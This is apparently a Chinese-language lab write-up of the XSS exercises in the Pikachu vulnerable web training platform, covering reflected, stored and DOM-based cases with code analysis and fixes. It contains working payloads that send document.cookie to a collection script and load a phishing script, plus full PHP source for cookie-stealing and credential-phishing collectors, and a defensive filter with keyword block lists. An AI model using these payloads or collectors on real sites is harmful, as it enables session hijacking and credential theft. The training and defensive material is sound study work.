反射型主要在查询的地方,存储型主要在留言、评论的地方,dom型是特殊的反射型。pikachu的xss没有做很多过滤,重点展示的是原理,在实际情况中肯定会有很多过滤和转义的。要多积累一些。
测试随便输入,发现会把用户输入的输出到下面的who is后面,测试一下测试,alert出了cookie。每次点击这个页面都会alert出cookie,说明是存储型的,已经存在数据库了。
代码分析:
原因仍然是对输入的内容没有做任何过滤和转义,直接往数据库里插入了用户输入的内容,输出的时候也没有任何过滤和转义,直接取数据echo出来。
输入111测试,点击what do you see,跳转到111,猜测可能是标签的href属性,审查元素看一下,发现我们输入的str被调整在id为dom的元素里,且str+"’>what do you see?,于是想到可以闭合a标签,并且执行我们输入的恶意代码。
跟进domxss()
输入'>
也可' onclick="alert('xss')">
等
输入111
点击出现的 “有些费尽心机想要忘记的事情,后来真的就忘掉了”
出现“就让往事都随风,都随风吧”,继续点这个
跟4的情况一样。审查源码看看
注:
1.window.location.search:返回url中?后面的内容。详见这里
2.split():把一个字符串分割成字符串数组。详见这里
3.decodeURIComponent():对 encodeURIComponent() 函数编码的 URI 进行解码.因为str是从url中问号后面截取下来的,经过了url编码的。详见这里
4.replace():在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串。这里是把+替换成空格。详见这里
可以看到str还是直接拼接在a标签里。
测试'>
,跟上面4是一样的。
随便输入测试一下,提交,什么都没返回,就提示用户输入的对方已经收到,猜测应该是存到数据库了,管理员登陆后台可以看到。刚好点击作者给的提示,给出了后台登陆的地址。这里我们不知道有没有xss,就要试试的,看不到不代表不存在。
输入,登陆后台看看,结果是存在xss的。
代码分析:
用户输入的直接存入了数据库,取出也是直接取出并echo出来,导致xss
源码分析:
构造payloads之后,会闭合第一个script标签,同时写入新的js语句。
修复需要注意的问题:1.这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。2.所以在JS的输出点应该使用\对特殊字符进行转义
反射型xss:输入
<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;script>
登陆管理后台查看,已经获取了信息
源码:
cookie.php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s'); //time
$ipaddress=getenv ('REMOTE_ADDR'); //ipaddress
$cookie=$_GET['cookie']; //cookie
$referer=$_SERVER['HTTP_REFERER']; //referer
$useragent=$_SERVER['HTTP_USER_AGENT']; //useragent
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu/index.php");//重定向到一个可信的网站
?>
钓鱼页面往往可以做的很真实,这个只是个实验。
存储型xss,输入
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php">script>
弹出窗口
一旦输入你的用户名和密码就被钓鱼了
源码:fish.php
error_reporting(0);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
}else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
注:PHP中Header函数和PHP_AUTH_USER做用户验证原理
:https://blog.csdn.net/Jacksun_huang/article/details/88737297
xfish.php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(!empty($_GET['username']) && !empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password'];
$referer="";
$referer.=$_SERVER['HTTP_REFERER'];
$time=date('Y-m-d g:i:s');
$query="insert fish(time,username,password,referer)
values('$time','$username','$password','$referer')";
$result=mysqli_query($link, $query);
}
?>
1.过滤危险字符
2.编码转换
网上找的一个通防,在pikachu本地测试成功拦截xss:
PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)
/* 进行安全字段和xss跨站脚本攻击过滤(通用版) -xzz */
function escape_sec($string) {
global $_POST;
$search = array (
'/,
'/>/i',
'/\">/i',
'/\bunion\b/i',
'/load_file(\s*(\/\*.*\*\/)?\s*)+\(/i',
'/into(\s*(\/\*.*\*\/)?\s*)+outfile/i',
'/\bor\b/i',
'/\<([\/]?)script([^\>]*?)\>/si',
'/\<([\/]?)iframe([^\>]*?)\>/si',
'/\<([\/]?)frame([^\>]*?)\>/si'
);
$replace = array (
'<',
'>',
'">',
'union ',
'load_file (',
'into outfile',
'or ',
'<\\1script\\2>',
'<\\1iframe\\2>',
'<\\1frame\\2>'
);
if (is_array ( $string )) {
$key = array_keys ( $string );
$size = sizeof ( $key );
for($i = 0; $i < $size; $i ++) {
$string [$key [$i]] = escape_sec ( $string [$key [$i]] );
}
} else {
//if (! $_POST ['stats_code'] && ! $_POST ['ad_type_code_content']) {
$string = str_replace ( array (
'\n',
'\r'
), array (
chr ( 10 ),
chr ( 13 )
), preg_replace ( $search, $replace, $string ) );//相当于对一些危险字符进行html实体转换
$string = remove_xss ( $string );//调用remove_xss()方法
// } else {
// $string = $string;
// }
}
return $string;
}
function remove_xss($val) {
$val = preg_replace ( '/([\x00-\x08\x0b-\x0c\x0e-\x19])/', '', $val );
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for($i = 0; $i < strlen ( $search ); $i ++) {
$val = preg_replace ( '/([xX]0{0,8}' . dechex ( ord ( $search [$i] ) ) . ';?)/i', $search [$i], $val );
$val = preg_replace ( '/({0,8}' . ord ( $search [$i] ) . ';?)/', $search [$i], $val );
}
$ra1 = array (
'javascript',
'vbscript',
'expression',
'applet',
'meta',
'xml',
'blink',
'script',
'object',
'iframe',
'frame',
'frameset',
'ilayer',
'bgsound'
);
$ra2 = array (
'onabort',
'onactivate',
'onafterprint',
'onafterupdate',
'onbeforeactivate',
'onbeforecopy',
'onbeforecut',
'onbeforedeactivate',
'onbeforeeditfocus',
'onbeforepaste',
'onbeforeprint',
'onbeforeunload',
'onbeforeupdate',
'onblur',
'onbounce',
'oncellchange',
'onchange',
'onclick',
'oncontextmenu',
'oncontrolselect',
'oncopy',
'oncut',
'ondataavailable',
'ondatasetchanged',
'ondatasetcomplete',
'ondblclick',
'ondeactivate',
'ondrag',
'ondragend',
'ondragenter',
'ondragleave',
'ondragover',
'ondragstart',
'ondrop',
'onerror',
'onerrorupdate',
'onfilterchange',
'onfinish',
'onfocus',
'onfocusin',
'onfocusout',
'onhelp',
'onkeydown',
'onkeypress',
'onkeyup',
'onlayoutcomplete',
'onload',
'onlosecapture',
'onmousedown',
'onmouseenter',
'onmouseleave',
'onmousemove',
'onmouseout',
'onmouseover',
'onmouseup',
'onmousewheel',
'onmove',
'onmoveend',
'onmovestart',
'onpaste',
'onpropertychange',
'onreadystatechange',
'onreset',
'onresize',
'onresizeend',
'onresizestart',
'onrowenter',
'onrowexit',
'onrowsdelete',
'onrowsinserted',
'onscroll',
'onselect',
'onselectionchange',
'onselectstart',
'onstart',
'onstop',
'onsubmit',
'onunload'
);
$ra = array_merge ( $ra1, $ra2 );
$found = true;
while ( $found == true ) {
$val_before = $val;
for($i = 0; $i < sizeof ( $ra ); $i ++) {
$pattern = '/';
for($j = 0; $j < strlen ( $ra [$i] ); $j ++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '([xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|({0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra [$i] [$j];
}
$pattern .= '/i';
$replacement = substr ( $ra [$i], 0, 2 ) . ' ' . substr ( $ra [$i], 2 );
$val = preg_replace ( $pattern, $replacement, $val );
if ($val_before == $val) {
$found = false;
}
}
}
return $val;
}
注:从xss攻击的目的来看:
1.cookie盗取。 解决办法:HTTP-only
2.劫持流量转发。 解决办法:使用HTTPS安全协议验证
在设置httponly的时候用ini_set("session.cookie_httponly", 1);
函数没用,直接去php.ini
配置文件改session.cookie_httponly
也不行,但是在setcookie函数里面设置第七个参数值为true
就可以防止js脚本获取cookie了。